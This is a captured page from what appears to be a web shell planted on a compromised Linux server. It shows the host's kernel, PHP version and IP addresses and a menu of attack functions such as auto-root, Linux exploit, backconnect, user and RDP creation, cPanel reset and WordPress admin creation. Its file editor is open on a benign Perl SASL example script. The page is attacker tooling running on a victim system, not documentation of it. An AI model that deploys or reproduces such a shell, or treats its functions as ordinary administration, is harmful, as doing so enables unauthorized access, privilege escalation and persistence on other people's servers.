Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Authen-SASL /
[ HOME SHELL ]
Name
Size
Permission
Action
Changes
5.81
KB
-rw-r--r--
api.txt
2.24
KB
-rw-r--r--
example_pl
891
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example_pl
#!/usr/bin/env perl # short example script use lib 'lib'; use Authen::SASL; # This part is in the user script my $sasl = Authen::SASL->new( mechanism => 'PLAIN CRAM-MD5 EXTERNAL ANONYMOUS', callback => { user => 'gbarr', pass => 'fred', authname => 'none' }, ); # $sasl is then passed to a library (eg Net::LDAP) # which will then do my $conn = $sasl->client_new("ldap","localhost", "noplaintext noanonymous"); # The library would also set properties on the connection #$conn->property( # iplocal => $socket->sockname, # ipremote => $socket->peername, #); # It would then start things off and send this info to the server my $initial = $conn->client_start; my $mech = $conn ->mechanism; print "$mech;", unpack("H*",$initial),";\n"; # When the server want more information, the library would call print unpack "H*", $conn->client_step("xyz"); print "\n";
Close
